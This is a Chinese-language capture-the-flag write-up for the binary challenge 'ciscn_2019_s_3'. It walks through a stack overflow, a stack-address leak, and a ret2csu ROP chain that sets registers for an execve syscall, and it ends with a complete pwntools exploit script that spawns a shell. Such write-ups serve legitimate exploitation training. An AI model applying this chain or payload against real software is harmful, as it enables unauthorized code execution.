ciscn_2019_s_3

在64位程序中可以通过栈溢出控制__lib_csu_init中的参数来控制rdx,rsi,edi寄存器

• 64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax中

• syscall函数会根据rax的值来调用函数,例如当rax==0x3B时,运行execute
• 栈地址泄露
• ROPgadgets

1.read中存在溢出

2.泄露buf的地址写入/bin/sh

3.通过ROPgadgets得到控制寄存器的地址

4.最后通过ret2csu和syscall构造出excuse('/bin/sh',0,0)得到shell

ret2csu思路:

1. 首先跳转到pop rbx的位置(csu_end),控制一系列寄存器,根据代码可知r13 -> rdx ; r14 -> rsi ; r15 -> edi

2. 再retn到mov rdx,r13的位置(csu_font),这里要注意存在call函数,同时,要满足cmp rbx,rbp即$rbx-$rbp==0才继续运行,为了满足条件我们需要在第$1$步中提前布局
3. 运行loc_400596的代码,add rsp,8抬高了栈顶,所以我们填充栈的时候也要注意多填充8个位置,接着是常规的填充,根据需要,不需要则全部填充为0xdeadbeef直到retn回到程序流

泄露栈地址后第二次栈布局如下

	rbp
0x10		padding			开头为b”/bin/sh\x00”=>buf_addr
0x18			ret	0x000000000040059A	csu_end
0x20		0	rbx
0x28		1	rbp
0x30			r12	bufaddr+0x10	call的参数
0x38		0	r13		=> rdx
0x40		0	r14		=> rsi
0x48		0	r15		=> edi
0x50			retn	0x0000000000400580	2csu_font
0x58		0xdeadbeef	rsp,8
0x60	rsp	0xdeadbeef	rbx
0x68		0xdeadbeef	rbp
0x70		0xdeadbeef	r12
0x78		0xdeadbeef	r13
0x80		0xdeadbeef	r14
0x88		0xdeadbeef	r15
0x90			ret	0x00000000004004E2	rax = 0x3B
0x98			retn	0x00000000004005a3	pop_rdi_addr
0x100			ret	0x0000000000400517	syscall

from pwn import *
context.log_level = 'debug'
io = process('./ciscn_s_3')
#io = gdb.debug('./ciscn_s_3','break *0x00000000004004E2')
elf = ELF('./ciscn_s_3')

padding = 0x10
payload1 = b'A'*padding+p64(elf.sym['vuln'])
io.send(payload1)
io.recv(0x20)   #这个偏移主要是gdb看出来的
ebp_addr = u64(io.recv(8))
#print('ebp_addr',hex(ebp_addr))
buf_addr = ebp_addr-0x148   #buu改成-0x118
#print('buf_addr ->',hex(buf_addr))
payload2 =b'/bin/sh\x00'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += p64(0x000000000040059A)+p64(0)+p64(1)+p64(buf_addr+0x10)+p64(0)+p64(0)+p64(0)+p64(0x0000000000400580)
payload2 += p64(0xdeadbeef)*5+p64(0x00000000004004E2)+p64(0x00000000004005a3)+p64(buf_addr)+p64(0x0000000000400517)
io.send(payload2)
io.interactive()

主要一步步动态调试,理解程序控制流.